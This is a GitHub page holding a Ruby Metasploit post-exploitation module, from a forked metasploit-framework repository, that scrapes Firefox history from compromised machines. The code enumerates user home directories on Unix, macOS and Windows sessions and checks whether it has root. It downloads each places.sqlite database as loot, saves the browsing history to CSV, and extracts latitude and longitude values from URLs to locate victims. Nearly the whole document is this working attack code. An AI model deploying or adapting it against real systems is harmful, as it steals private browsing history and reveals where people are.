forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathbadger_browserscrape.rb
307 lines (293 loc) · 7.53 KB
/
badger_browserscrape.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/windows/user_profiles'
require 'msf/core/post/osx/system'
require 'rex'
require 'csv'
require 'cgi'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
include Msf::Post::OSX::System
include Msf::Auxiliary::Badger_Report
def initialize(info={})
super( update_info( info,
'Name' => 'Browser Scrape (Badger)',
'Description' => %q{
This module can be used to search through a web browser
history for geolocation artifacts.
},
'License' => MSF_LICENSE,
'Author' =>
[ 'v10l3nt',
'bannedit' # Based on bannedit's firefox_creds.rb post/mutli/gather module
],
'Platform' => [ 'unix', 'bsd', 'linux', 'osx', 'windows'],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
end
def run
begin
require 'sqlite3'
rescue LoadError
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
return
end
paths = []
print_status("Determining session platform and type...")
case session.platform
when /unix|linux|bsd/
@platform = :unix
paths = enum_users_unix
when /osx/
@platform = :osx
paths = enum_users_unix
when /win/
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported on windows hosts"
return
end
grab_user_profiles().each do |user|
next if user['AppData'] == nil
dir = check_firefox(user['AppData'])
if dir
paths << dir
end
end
else
print_error("Unsupported platform #{session.platform}")
return
end
if paths.nil?
print_error("No users found with a Firefox directory")
return
end
paths.each do |path|
db_path = download_loot(path)
process_db(db_path)
end
end
def enum_users_unix
id = whoami
if id.nil? or id.empty?
print_error("This session is not responding, perhaps the session is dead")
end
if @platform == :osx
home = "/Users/"
else
home = "/home/"
end
if got_root?
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
userdirs << "/root\n"
else
print_status("We do not have root privileges")
print_status("Checking #{id} account for Firefox")
if @platform == :osx
firefox = session.shell_command("ls #{home}#{id}/Library/Application\\ Support/Firefox/Profiles/").gsub(/\s/, "\n")
else
firefox = session.shell_command("ls #{home}#{id}/.mozilla/firefox/").gsub(/\s/, "\n")
end
firefox.each_line do |profile|
profile.chomp!
next if profile =~ /No such file/i
if profile =~ /\.default/
print_status("Found Firefox Profile for: #{id}")
if @platform == :osx
return [home + id + "/Library/Application\\ Support/Firefox/Profiles/" + profile + "/"]
else
return [home + id + "/.mozilla/" + "firefox/" + profile + "/"]
end
end
end
return
end
# we got root check all user dirs
paths = []
userdirs.each_line do |dir|
dir.chomp!
next if dir == "." || dir == ".."
dir = home + dir + "/.mozilla/firefox/" if dir !~ /root/
if dir =~ /root/
dir += "/.mozilla/firefox/"
end
print_status("Checking for Firefox Profile in: #{dir}")
stat = session.shell_command("ls #{dir}")
if stat =~ /No such file/i
print_error("Mozilla not found in #{dir}")
next
end
stat.gsub!(/\s/, "\n")
stat.each_line do |profile|
profile.chomp!
if profile =~ /\.default/
print_status("Found Firefox Profile in: #{dir+profile}")
paths << "#{dir+profile}"
end
end
end
return paths
end
def check_firefox(path)
paths = []
path = path + "\\Mozilla\\"
print_status("Checking for Firefox directory in: #{path}")
stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
if !stat
print_error("Firefox not found")
return
end
session.fs.dir.foreach(path) do |fdir|
if fdir =~ /Firefox/i and @platform == :windows
paths << path + fdir + "Profiles\\"
print_good("Found Firefox installed")
break
else
paths << path + fdir
print_status("Found Firefox installed")
break
end
end
if paths.empty?
print_error("Firefox not found")
return
end
print_status("Locating Firefox Profiles...")
print_line("")
path += "Firefox\\Profiles\\"
begin
session.fs.dir.foreach(path) do |pdirs|
next if pdirs == "." or pdirs == ".."
print_good("Found Profile #{pdirs}")
paths << path + pdirs
end
rescue
print_error("Profiles directory missing")
return
end
if paths.empty?
return nil
else
return paths
end
end
def download_loot(path)
print_status(path)
profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s
if session.type == "meterpreter"
file="places.sqlite"
print_good("Downloading #{file} file from: #{path}")
file = path + "\\" + file
fd = session.fs.file.new(file)
begin
until fd.eof?
data = fd.read
loot << data if not data.nil?
end
rescue EOFError
ensure
fd.close
end
file = file.split('\\').last
file_loc = store_loot("ff.profile.places.sqlite", "binary/db", session, loot, "places.sqlite", "Firefox history for #{profile}")
end
if session.type != "meterpreter"
file="places.sqlite"
print_good("Downloading #{file}\\")
data = session.shell_command("cat #{path}#{file}")
file = file.split('/').last
file_loc = store_loot("ff.profile.places.sqlite", "binary/db", session, data, "places.sqlite", "Firefox history for #{profile}")
end
return file_loc
end
def report_params(url,lat,lon)
acc = 1.0
pos = Position.new(lat,lon,acc)
print_status("URL contains GeoData: #{url}")
print_status("Coordinates: Lat=#{lat}, Lon=#{lon}")
comment = "#{url}"
report_results(pos,"msf_browserscrape",comment)
end
def parse_geourl(url)
q = URI(url).query
if (q==nil)
return
end
params=CGI::parse(q)
if params.has_key?("ll")
coords=params["ll"][0].split(",")
lat=coords[0]
lon=coords[1]
report_params(url,lat,lon)
elsif params.has_key?("geocode")
coords=params["geocode"][0].split(",")
lat=coords[0]
lon=coords[1]
report_params(url,lat,lon)
elsif params.has_key?("lat")
lat=params["lat"][0]
if params.has_key?("lon")
lon=params["lon"][0]
report_params(url,lat,lon)
elsif params.has_key?("lng")
lon=params["lng"][0]
report_params(url,lat,lon)
end
elsif params.has_key?("location")
coords=params["location"][0].split(",")
lat=coords[0]
lon=coords[1]
report_params(url,lat,lon)
end
end
def process_db(db_path)
db = SQLite3::Database.new(db_path)
user_rows = db.execute2('select url from moz_places;;')
print_status("Enumerating Firefox history")
if user_rows.length > 1
user_info = store_loot("firefox.history",
"text/plain", session, "", "Firefox history.")
print_good("Saving firefox history")
urls=save_csv(user_rows,user_info)
urls.each do |url|
parse_geourl(url)
end
end
end
def save_csv(data,file)
urls = []
CSV.open(file, "w") do |csvwriter|
data.each do |record|
urls << record[0]
csvwriter << record
end
end
return urls
end
def got_root?
case @platform
when :windows
if session.sys.config.getuid =~ /SYSTEM/
return true
else
return false
end
else
ret = whoami
if ret =~ /root/
return true
else
return false
end
end
end
def whoami
if @platform == :windows
return session.fs.file.expand_path("%USERNAME%")
else
return session.shell_command("whoami").chomp
end
end
end